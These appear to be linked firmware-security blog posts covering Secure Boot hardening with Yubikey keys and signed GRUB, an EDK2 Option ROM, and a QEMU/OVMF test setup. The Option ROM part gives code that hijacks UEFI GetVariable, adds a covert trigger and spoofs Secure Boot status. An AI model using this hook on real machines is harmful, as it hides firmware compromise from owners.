What problem are we solving?

Most popular Linux distributions support UEFI Secure Boot to facilitate hardware enablement. This means they support Secure Boot for the to the extent needed to get you up and running without getting in your way, not to provide any in-depth security features. For example, distributions such as Ubuntu and Fedora intentionally do not verify signature checking of your initrd nor GRUB modules, fonts, themes, or graphics.

We want to harden our boot such that anything in the boot chain executed before Linux requires signature verification. Caveat, that we are going to implement verification to the extent possible, we are not going to guarantee everything executed is verified. For example, we are most likely not verifying any EC firmware, voltage regulator firmware, etc. This article will call out specifically what we are verifying.

**Important!** If you want a turn-key, and more complete solution to implement now, please use safeboot.dev.

What is the general threat model?

The OS bring-up of our desktop should be deterministic and authenticated. Assume this desktop sits in a reasonably trusted location, for example an apartment. If someone enters our trusted location with the intent of compromising our desktop’s pre-OS boot they must disassemble the enclosure and tamper our R/W SPI flash contents or a similar component. We will protect against easier and quicker attacks such as modifying bootable disk content, attaching malicious devices, and interrupting and altering the boot logic.

The above scenario assumes more than this article covers, for practical purposes the desktop owner should lock the machine when not in use and implement full disk encryption. Additionally, if someone enters your apartment with malicious intent multiple times they may be able to install a simple keylogger followed by using the result to change UEFI Setup data.

In a nutshell what are we going to accomplish, we will:

• Generate private keys on a Yubikey 4 device (treat it as a personal HSM).
• Use the HSM keys to replace our desktop’s UEFI Secure boot platform key, key enrollment key, and allow-list db key.
• Create a standalone GRUB that enforces signature verification for any content used including a configuration that we will change often.
• Require signature verification for loading any initrd and kernel pairs.
• Password protect our UEFI Setup settings and grub boot-time configuration modification.

Heads up that this article is a recap of my experiences and not intended to be a “dummy’s guide”. Hence I strongly recommend, if you are reading with the intent to DIY, that each step be accompanied with independent research and questioning.

The final boot flow will be: CPU bootstrap, UEFI platform code, Standalone Grub, Dynamic GRUB config, Linux initrd and kernel.

The source materials I used when researching and debugging are as follows:

• A simple end-to-end walkthrough with more discussion of the process, using a different HSM but without deep-diving into GRUB https://diagprov.ch/posts/2017/01/own-and-lock-down-your-laptop-uefi-secure-boot.html
• GRUB’s signature verification documentation: https://www.gnu.org/software/grub/manual/grub/html_node/Using-digital-signatures.html
• A walkthrough of setting up UEFI Security Boot variables and using a Standalone GRUB: https://ruderich.org/simon/notes/secure-boot-with-grub-and-signed-linux-and-initrd

Make some backups and a restore USB

**Important!** Let’s backup everything in /boot and everything in /boot/EFI as most likely your first GPT partitions is mounted to /boot/EFI.

Next follow Ubuntu’s tutorial for creating a Live USB, or have an existing Live USB ready to fix any errors. We may lock ourselves out of the OS. Though in most cases we can disable enforcement using a UEFI Setup password for Grub password.

Remove existing packages

We are going to “take control” of the bootloading process and thus we need to prevent package manager updates from getting in the way. Otherwise a new version will overwrite our custom signed copies.

For Ubuntu this includes removing GRUB-EFI grub-efi-*, the signed versions dpkg --list | grep grub | grep signed, and any versions of shim. Any packages returned in these queries should be uninstalled. The signed version of linux-image can be removed as well dpkg --list | grep linux-image | grep signed.

Generate UEFI keys and authenticated variables

We will generate three signing keys, a Platform Key, a Key Enrollment Key, and an Allow-List DB Key. Refer to Antony Vennard’s descriptions for more information on these keys. We will keep the PK and KEK private keys in an HSM because they are rarely used. I choose to use a Yubikey 4 Nano and here is what was required to make this work.

Install the Yubico PIV Tool so we can generate keys on the Yubikey. I found that the usual pkcs11 tools and GPG are generally not great at interfacing with the Yubikey; specifically they cannot generate or use keys in the yubico-deprecated slots, go figure. ;)

$ yubico-piv-tool -s88 -agenerate -o yubikey-pk.pub
$ yubico-piv-tool -s88 \
  -S '/CN=My Platform Key/' \
  -averify -aselfsign \
  -i yubikey-pk.pub \
  -o yubikey-pk.pem
$ openssl x509 -outform DER -in yubikey-pk.pem -out yubikey-pk.der
$ yubico-piv-tool -a import-certificate -s88 -K DER -i yubikey-pk.der

Now the Yubikey has our PK private key and a self-signed certificate. Next we create an authenticated UEFI variable using this key.

$ uuidgen > uuid
$ cert-to-efi-sig-list -g `cat uuid` yubikey-pk.pem yubikey-pk.esl

**Important!** We need a newer version of efitools, which has support for PKCS11 signing. I used version 1.9.2: efitools-1.9.2.tar.gz. Past versions of efitools required you to generate a to-be-signed ESL that could be used with openssl smime. I found that UEFI code is picky about x509 options so for best results stay in efitools.

And I ran into an off-by-one reference counted object, which was fixed with a newer OpenSC installation. This is most likely referenced in the GitHub #327 issue here. For posterity I used a commit hash: 1d93ed040930d60a8206bd839be0d61b269ac5d9. I built and installed this system-wide.

You may be affected by this bug if you see similar segfaults from efitools when trying to use the PKCS11 features.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff6eeff2f in ?? () from /usr/lib/x86_64-linux-gnu/engines-1.1/pkcs11.so
(gdb) bt
#0  0x00007ffff6eeff2f in ?? () from /usr/lib/x86_64-linux-gnu/engines-1.1/pkcs11.so
#1  0x00007ffff6ef095e in ?? () from /usr/lib/x86_64-linux-gnu/engines-1.1/pkcs11.so
#2  0x00007ffff7ab9aa9 in RSA_sign () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
#3  0x00007ffff7ab8892 in ?? () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
#4  0x00007ffff7a7c144 in EVP_SignFinal () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
#5  0x00007ffff7aa1591 in PKCS7_dataFinal () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
#6  0x00007ffff7aa317c in PKCS7_final () from /usr/lib/x86_64-linux-gnu/libcrypto.so.1.1
#7  0x000055555555606c in sign_efi_var_ssl (payload=payload@entry=0x555555759670 "P", payload_size=payload_size@entry=84, pkey=pkey@entry=0x55555578a200, cert=cert@entry=0x555555776ea0, sig=sig@entry=0x7fffffffde10, sigsize=sigsize@entry=0x7fffffffde0c) at openssl_sign.c:24
#8  0x0000555555556346 in sign_efi_var (payload=0x555555759670 "P", payload_size=84, keyfile=0x7fffffffe600 "pkcs11:object=Private key for Retired Key 7;type=private", certfile=, sig=0x7fffffffde10, sigsize=0x7fffffffde0c, engine=0x7fffffffe5f6 "pkcs11") at openssl_sign.c:69
#9  0x0000555555555bc3 in main (argc=, argv=) at sign-efi-sig-list.c:251

Use the Yubikey’s key in slot 88 to self-sign an authenticated UEFI variable. The PKCS11 key alias is documented on Yubico’s website.

$ efitools-1.9.2/sign-efi-sig-list \
  -t "2020-01-01 00:00:00" \
  -e pkcs11 \
  -k "pkcs11:object=Private key for Retired Key 7;type=private" \
  -g `cat uuid` \
  -c yubikey-pk.pem \
  PK yubikey-pk.esl yubikey-pk.auth

Repeat the same process for the KEK, but use a different key slot and sign with the PK instead of self-signing.

$ yubico-piv-tool -s87 -agenerate -o yubikey-kek.pub
$ yubico-piv-tool -s87 \
  -S '/CN=My KEK/' \
  -averify -aselfsign \
  -i yubikey-kek.pub \
  -o yubikey-kek.pem
$ openssl x509 -outform DER -in yubikey-kek.pem -out yubikey-kek.der
$ yubico-piv-tool -a import-certificate -s 87 -K DER -i yubikey-kek.der
$ cert-to-efi-sig-list -g `cat uuid`yubikey-kek.pem yubikey-kek.esl
$ efitools-1.9.2/sign-efi-sig-list \
  -t "2020-01-01 00:00:00" \
  -e pkcs11 \
  -k "pkcs11:object=Private key for Retired Key 7;type=private" \
  -g `cat uuid` \
  -c yubikey-pk.pem \
  KEK yubikey-kek.esl yubikey-kek.auth

Finally, the DB key can be kept on-disk or in a third slot on the Yubikey. I choose to keep it online so I can keep the Nano/HSM offline and disconnected.

$ openssl req -new -x509 -newkey rsa:2048 -subj "/CN=My Signing Key/" -keyout signing.key -out signing.pem -days 9125 -nodes -sha256
$ cert-to-efi-sig-list -g `cat uuid` signing.pem signing.esl

Sign using the KEK on the Yubikey.

$ efitools-1.9.2/sign-efi-sig-list \
  -t "2020-01-01 00:00:00" \
  -e pkcs11 \
  -k "pkcs11:object=Private key for Retired Key 6;type=private" \
  -g `cat uuid` \
  -c yubikey-kek.pem \
  DB signing.esl signing.auth

In the next section we will create a GRUB binary and sign that with this DB key.

Create a standalone GRUB that enforces signature verification

I wanted to use the same DB key used to sign GRUB to sign any content that GRUB loaded. Since I wanted to change GRUB and my kernel/initrd often I would have to keep a secondary key “online” so there is no added security for multiple keys in my scenario.

GRUB uses GPG signatures to verify content so we need to import the DB private key into our root user’s GPG keychain.

# apt install monkeysphere
# cat signing.key | pem2openpgp "My Signing Key " > signing.gpgkey
# gpg --import --allow-secret-key-import signing.gpgkey
# gpg --export > signing.pubgpg
# gpg --list-keys
[...]

pub   rsa2048 1970-01-01 [SCEA]
      2C5B596292929FB8DD9847F7C93B99D30E812A37
uid           [ unknown] My Signing Key 

The goal is to make a standalone GRUB that contains:

• All of the modules we want to use, ideally a limited set.
• A public GPG key used to verify signatures of any runtime content read.
• A basic configuration that enables signature verification and loads a larger config.

Create a grub-initial.cfg that will be “built in” to the standalone GRUB.

# Enforce that all loaded files must have a valid signature.
set check_signatures=enforce
export check_signatures

# Require a password to make boot-time changes
set superusers="root"
password_pbkdf2 root grub.pbkdf2.sha512.10000.HASH
export superusers

set root='hd3,gpt2' # Set this to the device/partition containing your root fs.
# See lsblk -o NAME,MOUNTPOINT,UUID for your UUID
search --no-floppy --fs-uuid --set=root $UUID # Replace '$UUID' with your root fs UUID.

configfile /boot/grub/grub.cfg

# If the config contains an error pause then reboot
sleep 10
reboot

You can read your current GRUB configuration, most likely at /etc/grub/grub.cfg and predict the minimum set of modules. On my host this was the following:

$ export MODULES="configfile echo normal ls \
  linux linuxefi \
  verify gcry_sha512 gcry_rsa \
  search search_fs_uuid part_gpt ext2 fat\
  all_video efi_gop efi_uga video_bochs video_cirrus gfxterm gettext \
  gzio xzio lzopio"

Then build grub using:

# gpg --default-key "2C5B596292929FB8DD9847F7C93B99D30E812A37" --detach-sign ./grub-initial.cfg
# grub-mkstandalone \
  --directory /usr/lib/grub/x86_64-efi \
  --modules "$MODULES" \
  --format x86_64-efi 
  --pubkey ./signing.pubgpg \
  -o /boot/efi/EFI/grubx64-standalone.efi \
 "boot/grub/grub.cfg=./grub-initial.cfg" \
 "boot/grub/grub.cfg.sig=./grub-initial.cfg.sig"

And sign using our DB signing key:

# sbsign \
  --key ./signing.key \
  --cert ./signing.pem \
  --output /boot/efi/EFI/grubx64-standalone.efi \
  /boot/efi/EFI/grubx64-standalone.efi

And now I can use my OS’s GRUB configuration tooling and update-grub to build a more dynamic configuration saved to /etc/grub/grub.cfg and it will only boot if signed. That larger configuration has insmod calls that will fail if the module is not signed.

Finally, I used a small script to resign my GRUB config, my initrd, and kernel:

#!/bin/bash

set -e
set -x

KEY=2C5B596292929FB8DD9847F7C93B99D30E812A37

LINUX=/boot/vmlinuz-5.4.10
INITRD=/boot/initrd.img-5.4.10
GRUB=/boot/grub/grub.cfg

INITRD_HASH=$(shasum -a 256 $INITRD | awk '{print $1}')
INITRD_HASH_FROZEN=$(shasum -a 256 $INITRD.frozen | awk '{print $1}')

LINUX_HASH=$(shasum -a 256 $LINUX | awk '{print $1}')
LINUX_HASH_FROZEN=$(shasum -a 256 $LINUX.frozen | awk '{print $1}')

GRUB_HASH=$(shasum -a 256 $GRUB | awk '{print $1}')
GRUB_HASH_FROZEN=$(shasum -a 256 $GRUB.frozen | awk '{print $1}')

if [[ ! "$INITRD_HASH" = "$INITRD_HASH_FROZEN" ]]; then
  echo "Re-Signing $INITRD"
  gpg --default-key "$KEY" --detach-sign $INITRD
  cp $INITRD $INITRD.frozen
fi

if [[ ! "$LINUX_HASH" = "$LINUX_HASH_FROZEN" ]]; then
  echo "Re-Signing $LINUX"
  gpg --default-key "$KEY" --detach-sign $LINUX
  cp $LINUX $LINUX.frozen
fi

if [[ ! "$GRUB_HASH" = "$GRUB_HASH_FROZEN" ]]; then
  echo "Re-Signing $GRUB"
  gpg --default-key "$KEY" --detach-sign $GRUB
  cp $GRUB $GRUB.frozen
fi

This required me to add this “snip” to /etc/grub.d/10_linux, so that my (.sig|.frozen) files are not interpreted as optional kernel/initrd pairs.

grub_file_is_not_sig() {
  name="$1"
  case "$name" in
      *.sig) return 1 ;;
      *.frozen) return 1 ;;
  esac
}

machine=`uname -m`
case "x$machine" in
    xi?86 | xx86_64)
        list=
        for i in /boot/vmlinuz-* /vmlinuz-* /boot/kernel-* ; do
            if grub_file_is_not_garbage "$i" && grub_file_is_not_sig "$i" ; then list="$list $i" ; fi
        done ;;

Now boot and resolve any errors or typos. When you are finished and happy with the flow be sure to set up a UEFI Setup password.

This is a continuation of a previous post, Using an Option ROM to overwrite SMI handlers in QEMU. Please review the content and the referenced source materials as well as the following source materials for additional context:

• Microsoft’s UEFI Validation Option ROM Guidance
• Open Security Training’s PCI Option/Expansion ROMs

The code and examples in this post, which are run on bare metal UEFI platforms, assume UEFI Secure Boot is disabled. If a UEFI production BIOS implements Secure Boot correctly then unsigned/unverified Option ROMs should not execute. Note that in the previous post the OVMF platform run in QEMU disables verification for Option ROMs by setting PcdOptionRomImageVerificationPolicy|0x0.

Create a toy Option ROM using the EDKII

In the previous post we used a modified iPXE as a starting point for our Option ROM code. This time we will use the EDK. For example, create a new folder and file called MyOptionRom within the EDKII source tree with the following code:

EFI_STATUS
EFIAPI
MyOptionRomEntry (
  IN  EFI_HANDLE        ImageHandle,
  IN  EFI_SYSTEM_TABLE  *SystemTable
  )
{
    (void)ImageHandle;
    (void)SystemTable;

    DEBUG((EFI_D_INFO, "MyOptionRom loaded\n"));
    Print(L"MyOptionRom loaded\n");

    return EFI_SUCCESS;
}

EFI_STATUS
EFIAPI
MyOptionRomUnload (
  IN  EFI_HANDLE  ImageHandle
  )
{
    (void)ImageHandle;
    return EFI_SUCCESS;
}

The above skeleton code is printing a trace to the debug console and any ConOut configured. This is helpful in combination with the UEFI Shell’s loadpcirom command. Use this command before flashing Option ROM code to test that it does not halt/fault the system. ;)

Next, add the INF to OvmfPkg/OvmfPkgIa32X64.dsc’s [Components.X64] section to build; and finally, use the EfiRom tool to create an EFI-type Option ROM.

$ ./BaseTools/Source/C/bin/EfiRom \
  -f 0x$VENDOR -i 0x$PRODUCT -v --debug 9 \
  -o ./Build/MyOptionRom.efirom \
  -e ./Build/Ovmf3264/DEBUG_GCC5/X64/MyOptionRom.efi

Run an Option ROM on an Intel NUC

In this example I wanted to write Option ROM code to a PCI card and run it on bare metal. I do not have many bare metal machines beyond a gaming desktop and an outdated D34010WYK NUC (thus the rational for using the NUC). Unfortunately, the NUC’s onboard Video Card and NIC do not have writeable Option ROM storage, the PCI devices are as follows:

$ lspci -n
00:00.0 0600: 8086:0a04 (rev 09)
00:02.0 0300: 8086:0a16 (rev 09)
00:03.0 0403: 8086:0a0c (rev 09)
00:14.0 0c03: 8086:9c31 (rev 04)
00:16.0 0780: 8086:9c3a (rev 04)
00:19.0 0200: 8086:1559 (rev 04)
00:1b.0 0403: 8086:9c20 (rev 04)
00:1d.0 0c03: 8086:9c26 (rev 04)
00:1f.0 0601: 8086:9c43 (rev 04)
00:1f.2 0106: 8086:9c03 (rev 04)
00:1f.3 0c05: 8086:9c22 (rev 04)

The 8086:1559 Intel NIC does not support upgradable firmware or storage for an Option ROM. Though I tired with Intel’s Intel(R) Ethernet Flash Firmware Utility just in case. For others wanting to test, the utility’s bootutil64e is able to write Option ROM to support PXE loading on several NIC devices.

The 8086:0a16 Intel Video Card uses a virtual Option ROM. These are stored with the UEFI platform code and loaded into memory from the system’s flash storage. The Option ROM code is not stored on the PCI onboard storage.

This means out of the box there are no R/W Option ROM on any of the PCI devices on the D34010WYK.

There is still hope for testing Option ROM as the D34010WYK NUC has has two expandable mPCI-E slots. I am not aware of off-the-shelf or purchasable debug mPCI wifi/bluetooth cards having expansion ROMs but we can use a mPCI-E to PCI-E 1x adapter and a Broadcom BCM5751 PCI-E 1x NIC. If you have a 5th generation (or other) NUC you may be able to take a similar approach with a M.2 to PCI-E adapter.

$ lspci -v
[...]
02:00.0 0200: 14e4:1677 (rev 20)
	Subsystem: 14e4:1677
	Flags: bus master, fast devsel, latency 0, IRQ 51
	Memory at f7c10000 (64-bit, non-prefetchable) [size=64K]
	Expansion ROM at f7c00000 [disabled] [size=64K]
	Capabilities: 
	Kernel driver in use: tg3
	Kernel modules: tg3

Putting these together looks a little hackey, but thankfully the card does not need an additional 12V:

D34010WYK NUC with mPCI-E to PCI-E 1x adapter and Broadcom BCM5751 (14e4:1677)

The BCM5751’s 64kB flash can be safely written using Broadcom’s B57udiag tool, for example following iPXE’s burning guide. It may be possible to write your Option ROM using ethtool but not safely so be careful.

Heads up, the Option ROM output from EfiRom, like the XROMs in the previous post, are type EFI (0x3) and the NUC platform code will only run these if CSM is disabled. I searched the Setup’s IFR and saw options, “Launch PXE OpROM Policy”, “Launch Storage OpROM Policy” and similar that allowed running EFI-type XROMs in CSM mode. But these are not available in the Setup UI.

Additionally, I could not find a way to disable loading Option ROMs through Setup configuration. But when UEFI Secure Boot is enabled any unsigned/unverified Option ROMs will not load (this is great!).

We can see that our Option ROM is loaded and measured by observing changes to the TPM’s PCR 2. The base comparison is using a BIOS version WYLPT10H.86A.0054.2019.0902.1752.

$ sudo tpm2_pcrlist
sha1 :
  0  : 0xCEAE0E6DC5A21B75D58171961D315E96326178D3 // Platform
  1  : 0x48A8708AC544F8411A9D5FF114A4E51E7A4C1041 // Platform Config
  2  : 0x9676BCB349D9D31493B52CA6007CB3706334798E // Option ROM Code
  3  : 0xB2A83B0EBF2F8374299A5B2BDFC31EA955AD7236 // Option ROM Config+Data
  4  : 0x9542780BC3517B84298563A2EF280139DF33B915 // IPL Code
  5  : 0xBFC7CE73BC3595FBC323F2B4EE1B56B86947ED23 // IPL Config+Datsa
  6  : 0xB2A83B0EBF2F8374299A5B2BDFC31EA955AD7236
  7  : 0xF97A28075F83A5474515E50F2A504C6E271533D3
[...]
  9  : 0xA78714D017777270C295B446A12A7FC5961D3167
[...]

And diffing before and after overwriting the Option ROM shows that PCR 2 measures the new code.

$ diff before-xrom after-xrom
<   2 : 0x9676BCB349D9D31493B52CA6007CB3706334798E
---
>   2 : 0x257C9F0CDA97A0CCEB6F3B7CE92F8BD51F589387

Communicating with userland using UEFI Runtime Services

Now that we have our toy Option ROM running on the NUC with Secure Boot disabled, what can we do? In the previous post we relaxed security of the OVMF platform by allowing our Option ROM to run before EndOfDXE and persisting in SMM; we cannot do that with the NUC’s production UEFI so we instead turn to UEFI Runtime Services to persist code.

The goals are as follows:

• Use the Option ROM to persist code in UEFI Runtime Services
• Allow an unprivileged userland process to communicate with our code
• Do something interesting that has security impact

Keep in mind that a malicious Option ROM can do much more than persist code, for example it can overwrite content on attached storage.

My solution is again to trampoline the code that retrieves UEFI variables. An unprivileged process can attempt a read of a variable and this attempt will call the Runtime Services GetVariable API.

Consider the following code as part of the implementation of our Option ROM entry point:

EFI_BOOT_SERVICES *gBS = NULL;
gBS = SystemTable->BootServices
VOID *handler = NULL;
gBS->AllocatePool(EfiRuntimeServicesCode, 0x1000, &handler);
If (handler != NULL) {
  // Move our Option ROM code into RT_CODE
  gBS->CopyMem((void*)handler, HijackedGetVariable, 0x1000);

  // TODO: Save gRT->GetVariable

  // gRT is the Runtime Services table
  gRT->GetVariable = handler;
}

The HijackedGetVariable handler will trampoline into the original GetVariable; and code in the EfiRuntimeServicesCode map will be relocated for us by the OS. Saving the existing GetVariable location is a bit more challenging. In the previous post the SMI trampoline was easy as the SMM dispatcher supported falling back to a backup handler so no state was maintained within our code.

The state maintenance referenced above is also needed to implement communication with our code and userspace.

For context, an unprivileged user cannot read an arbitrary UEFI variable, but rather only the variables exposed by the sysfs efivars filesystem. To communicate with our code, we have to invent a hacky protocol involving reading well-known variable names in sequence, sort of a variable-read side-channel. This protocol requires maintaining state between variable reads.

To maintain state we will reserve a region in RT_DATA and overwrite part of HijackedGetVariable with the location of reserved memory. We will overwrite a canary value such that the trampolined logic becomes:

EFI_STATUS
EFIAPI
HijackedGetVariable(
  IN     CHAR16                      *VariableName,
  IN     EFI_GUID                    *VendorGuid,
  OUT    UINT32                      *Attributes,    OPTIONAL
  IN OUT UINTN                       *DataSize,
  OUT    VOID                        *Data           OPTIONAL
  )
{
  // Our canary value
  UINT64 replace_me = 0xab12ab12;
  // Expect the canary to be overwritten in GetVariable install
  if (replace_me == 0x0 || replace_me == 0xab12ab12) {
    // We could not find the data
    return (EFI_STATUS)0x3;
  }

  MyOptionRomData *data = (MyOptionRomData*)replace_me;
  // Use data, for example count the number of times VariableName was requested
  [...]

  // Fall through to the original GetVariable
  UINT32 DupAttributes = 0;
  UINTN DupDataSize = *DataSize;
  Status = data->GetVariable(
    VariableName,
    VendorGuid,
    &DupAttributes,
    &DupDataSize,
    Data
  );
  if (Attributes != NULL) {
    *Attributes = DupAttributes;
  }
  *DataSize = DupDataSize;
  return Status;
}

The GetVariable install code is then modified to allocate the Runtime Services data and fixup the relocated code with the position of this data structure.

// Fill in the above TODO with:
MyOptionRomData *data = NULL;
gBS->AllocatePool(EfiRuntimeServicesData, sizeof(MyOptionRomData), (VOID**)&data);
If (data == NULL) {
  // Handle unlikely error state
}

unsigned char *search = (unsigned char *)handler
for (INTN i = 0; i < 100; i++) {
  // Search for canary value
  if (search[i] == 0x12 && search[i+1] == 0xab && 
      search[i+2] == 0x12 && search[i+3] == 0xab) {
    search[i] = ((unsigned char *)(&data))[0];
    search[i+1] = ((unsigned char *)(&data))[1];
    search[i+2] = ((unsigned char *)(&data))[2];
    search[i+3] = ((unsigned char *)(&data))[3];
    break;
  }
}

// Remember the original GetVariable location
data->GetVariable = gRT->GetVariable;

Now imagine adding several counters to MyOptionRomData and implementing two states. The first is triggered by reading BootCurrent ten times consecutively and this disables or enables GetVariable functionality; the second is triggered by reading Boot0002 and overrides the return of SecureBoot to return 0x1 or allow the code to fall through into the trampoline.

Thus we can introduce simple security impact with this trampoline by faking / masking any GetVariable request, for example tricking the OS that it is running in UEFI Secure Boot mode.

Below is another toy example testing the state maintainace to on-command trigger disabling GetVariable functionality.

[fedora@localhost ~]$ hexdump -C /sys/firmware/efi/efivars/BIOSVer-78f1f0c7-c017-4712-ba1d-70e823b11df8 
00000000  07 00 00 00 36 00                                 |....6.|
00000006
[fedora@localhost ~]$ ./getvariable_call --test
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Reading /sys/firmware/efi/efivars/BootCurrent-8be4df61-93ca-11d2-aa0d-00e098032b8c
Now try to read any variable in /sys/firmware/efi/efivars/
[fedora@localhost ~]$ hexdump -C /sys/firmware/efi/efivars/BIOSVer-78f1f0c7-c017-4712-ba1d-70e823b11df8 
00000000  00 00 00 00                                       |....|
00000004

And finally to “spoof” that Secure Boot is enabled when it is not we return 0x1 for SecureBoot and 0x0 for SetupMode with the code below, note that this does not yet work for Windows (only tested on Fedora).

  [...]
  // Fall through to the original GetVariable
  UINT32 DupAttributes = 0;
  UINTN DupDataSize = *DataSize;
  Status = data->GetVariable(
    VariableName,
    VendorGuid,
    &DupAttributes,
    &DupDataSize,
    Data
  );
  if (Attributes != NULL) {
    *Attributes = DupAttributes;
  }
  *DataSize = DupDataSize;

  CHAR8* DataArr = (CHAR8*)Data;
  if (VariableName != NULL && 
      VariableName[0] == 'S' && 
      VariableName[1] == 'e' && 
      VariableName[2] == 'c' && 
      VariableName[3] == 'u') {
    // Turn on SecureBoot
    DataArr[0] = 0x1;
    *DataSize = 1;
    Status = EFI_SUCCESS;
  }

  if (VariableName != NULL && 
      VariableName[0] == 'S' && 
      VariableName[1] == 'e' && 
      VariableName[2] == 't' && 
      VariableName[3] == 'u') {
    // Turn off SetupMode
    DataArr[0] = 0x0;
    *DataSize = 1;
    Status = EFI_SUCCESS;
  }

  return Status;
}

We begin with how to create a QEMU/OVMF/iPXE testing environment that boots Fedora with UEFI Secure Boot enabled and measures the pre-OS environment using a software TPM2. We then install an SMI handler by modifying our iPXE EFI Option ROM, which is the same as a DXE driver run during Boot Device Select (BDS). Finally, we again modify our Option ROM code and overwrite and reliably ‘shim’ an existing SMI’s handler with our own.

A majority of the source material for this article can be found in the following links. They were a great source of personal learning and are well worth reading/refreshing:

• Building reliable SMM backdoor for UEFI based platforms by Dmytro Oleksiuk, for inspiration, development direction, and SMM/EDK2 design.
• A Tour Beyond BIOS Secure SMM Communication in the EFI Developer Kit II byt Jiewen Yao et al, EDK2 SMM design.
• Securing secure boot with System Management Mode by Paolo Bonzini, SMM/KVM/QEMU design.
• Malicious Code Execution in PCI Expansion ROM by Darmawan Salihun, a summary of Option ROM details.
• Open Virtual Machine Firmware (OVMF) Status Report by Laszlo Ersek, OVMF design.
• And of course, the materials/guides/docs linked throughout.

Create a QEMU/OVMF testing environment

Assume we are building on a modern Linux host with normal build tooling available.

To reproduce my environment, use QEMU version 4.1.1.

$ git://git.qemu.org/qemu.git && cd qemu
$ git checkout v4.1.1
$ git submodule update --init
$ ./configure --target-list=x86_64-softmmu
[...]
TPM support       yes
[...]

It is optional to include a TPM in the testing VM, but it is nice to verify PCI Configuration data and Option ROM code is measured. I followed S3hh’s article on TPM 2.0 in QEMU to build and install swtpm.

Next clone the EDK2 and build OVMF. This can be complicated, my recommendation is following the build guides for EDK2 then following the OVMF build guide and my steps here for OVMF.

$ git clone https://github.com/tianocore/edk2 && cd edk2
$ git checkout edk2-stable201908
$ git submodule update --init
$ make -C BaseTools
$ cat Conf/target.txt
[...]
ACTIVE_PLATFORM       = OvmfPkg/OvmfPkgX64.dsc
TARGET                = DEBUG
TARGET_ARCH           = IA32 X64
TOOL_CHAIN_CONF       = Conf/tools_def.txt
TOOL_CHAIN_TAG        = GCC5

$ . ./edksetup.sh BaseTools

We want to use SecureBoot, SMM, and a TPM2 within OVMF – so it needs more setup. I followed the build steps from Fedora’s edk2-ovmf package spec.

$ wget https://git.kraxel.org/cgit/jenkins/edk2/plain/0001-EXCLUDE_SHELL_FROM_FD.patch
$ wget https://git.kraxel.org/cgit/jenkins/edk2/plain/0001-OvmfPkg-SmbiosPlatformDxe-install-legacy-QEMU-tables.patch
$ wget https://git.kraxel.org/cgit/jenkins/edk2/plain/0002-OvmfPkg-SmbiosPlatformDxe-install-patch-default-lega.patch
$ wget https://git.kraxel.org/cgit/jenkins/edk2/plain/0003-OvmfPkg-SmbiosPlatformDxe-install-patch-default-lega.patch
$ patch -l -p1 < 0001-EXCLUDE_SHELL_FROM_FD.patch
$ patch -l -p1 < 0001-OvmfPkg-SmbiosPlatformDxe-install-legacy-QEMU-tables.patch
$ patch -l -p1 < 0002-OvmfPkg-SmbiosPlatformDxe-install-patch-default-lega.patch
$ patch -l -p1 < 0003-OvmfPkg-SmbiosPlatformDxe-install-patch-default-lega.patch
$ OvmfPkg/build.sh \
    -a IA32 -a X64 \
    -D SMM_REQUIRE -D SECURE_BOOT_ENABLE \
    -D TPM2_ENABLE -D TPM2_CONFIG_ENABLE \
    -D FD_SIZE_2MB -D EXCLUDE_SHELL_FROM_FD

Then obtain the template UEFI variable-store with Secure Boot PK and other variables set to boot a signed Fedora install.

$ wget https://rpmfind.net/linux/fedora/linux/development/rawhide/Everything/armhfp/os/Packages/e/edk2-ovmf-20190501stable-4.fc32.noarch.rpm
$ rpm2cpio edk2-ovmf-20190501stable-4.fc32.noarch.rpm | cpio -idmv
[...]
./usr/share/OVMF/OVMF_VARS.secboot.fd

Build an example Option ROM using iPXE. We can build an Option ROM more simply, but iPXE has great build tooling and is a well-written codebase. We will build an EFI ROM, an Option ROM with ‘Code Type’ EFI, which is supported by EDK2. This builds an EFI driver then encapsulates it with the needed PCI Expansion ROM header and PCI Data Structure header. We use the Vendor/Model ID for an Intel Corporation 82574L Gigabit Network Connection, which is the e1000e default emulated QEMU NIC.

$ git clone git://git.ipxe.org/ipxe.git && cd ipxe/src
$ make bin-x86_64-efi/808610d3.efirom V=1

The final step is installing Fedora Server. I leave this exercise to the reader.

A resulting QEMU command to put these pieces together:

OROM=./ipxe/src/bin-x86_64-efi/808610d3.efirom
OVMF=./edk2/Build/Ovmf3264/DEBUG_GCC5/FV/OVMF_CODE.fd
VARS=./usr/share/OVMF/OVMF_VARS.secboot.fd

$ ./qemu/x86_64-softmmu/qemu-system-x86_64 \
    -machine q35,smm=on,accel=tcg \
    -m 1024 \
    -smp 4,sockets=1,cores=4,threads=1 \
    -nographic \
    -serial mon:stdio \
    -chardev pty,id=charserial1 \
    -device isa-serial,chardev=charserial1,id=serial1 \
    -netdev bridge,id=net0,br=$ \
    -device e1000e,netdev=net0,romfile=$OROM \
    -global driver=cfi.pflash01,property=secure,value=on \
    -drive file=$OVMF,if=pflash,format=raw,unit=0,readonly=on \
    -drive file=$VARS,if=pflash,format=raw,unit=1 \
    -chardev socket,id=chrtpm,path=$YOUR_TPM/tpmstate/swtpm-sock \
    -tpmdev emulator,id=tpm0,chardev=chrtpm \
    -device tpm-tis,tpmdev=tpm0 \
    -debugcon file:debug.log \
    -global isa-debugcon.iobase=0x402 \
    -hda $YOUR_DISK

Inspecting dmesg should show that Secure boot is enabled.

$ dmesg
[...]
[    0.000000] efi: EFI v2.70 by EDK II
